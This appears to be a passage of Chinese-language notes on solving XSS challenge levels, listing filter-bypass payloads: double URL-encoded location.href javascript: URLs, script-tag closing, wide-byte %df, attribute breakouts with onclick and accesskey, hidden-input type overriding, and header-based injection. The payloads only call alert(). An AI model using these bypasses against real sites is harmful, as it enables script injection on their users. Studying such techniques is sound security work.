> >
在第四题中,在
eval
中过滤了(),可以通过location.href
=
'javascript:alert%25281%2529'
在
eval
函数之前先进行了urlencode编码转换,过滤了一遍(),在location.href执行之前又进行了编码转换,所以需要进行两处编码转换,此处是查看源代码之后发现了
eval
函数,利用
eval
进行跨站
5
、如果查看源代码,发现有
/
/
var a
=
"
",并且内容随着输入进行变动,那么可以通过闭合script标签进行攻击绕过:"
<
/
script><script> alert(
1
);<
/
script><script>"
第二种方式是利用宽字节:
%
df
6
、题目中,如果在输出端使用了htmlspecialchars进行过滤<>
'",并有一个点和此处是联动的,可以考虑去探测这个联动的点,输入特殊字符" '
< > ( ) ,如果()被过滤了就跌考虑使用location.href,通过二次URLencode进行加密防止过滤绕过了;location.href
=
'javascript:alert%25281%2529'
;
/
/
"
如果括号被过滤可以使用反引号
7
、如果输出点出现在某个表单的属性中,可以尝试闭合双引号
",通过添加onclick事件、添加onmouseover等事件进行注入:"
onclick
=
"alert(
2
)
8
、如果联动的输出在某个hidden表单中,那么可以尝试通过
type
进行覆盖,比如
<
input
name
=
keyword value
=
"1"
type
=
hidden> 可以将输入值变为
<
input
name
=
keyword value
=
"
" onclick="
alert(
2
)
" type = "
text"
type
=
hidden>
这样就会进行覆盖掉
第二种方法:
" accesskey="
X
" onclick="
alert(
1
)"
利用accessKey 属性设置或返回元素的快捷键。
快捷键规定激活元素或使元素获得焦点的快捷键。注释:在不同的浏览器中访问快捷键的方式各有不同:不过在大多数浏览器中,可以将快捷键设置为其他组合。提示:如果超过一个元素拥有相同的快捷键,那么:
IE, Firefox: 激活下一个被按下快捷键的元素
Chrome, Safari: 激活最后一个被按下快捷键的元素
Opera: 激活第一个被按下快捷键的元素
浏览器 Windows
Internet Explorer Alt
+
accesskey
Chrome Alt
+
accesskey
Firefox Alt
+
Shift
+
accesskey
Safari Alt
+
accesskey
Opera
Opera
15
或更新的版本:[Alt]
+
accesskey
Opera
12.1
或更老的版本:[Shift] [Esc]
+
accesskey
9
、此题查看源码为
input
注入点,可以首先关闭
input
标签:
"><script>location.href='javascript:alert%281%29;';</script><input type="
text、
10
、数据从输入到a标签显示,<> & "被过滤了,()被替换了,但是
%
28
%
29
没有过滤,想到可以使用location,
'
' onclick =javascript:location.href='
javascript:alert
%
281
%
29
;'
11
、如果有隐藏的标签,可以尝试通过在url中填入值,看是否被过滤,如果value中双引号被过滤,没法进行闭合就得进行抓包尝试:
主要考虑以下属性:
referer
x
-
forwarded
-
for
x
-
forward
-
for
Cookie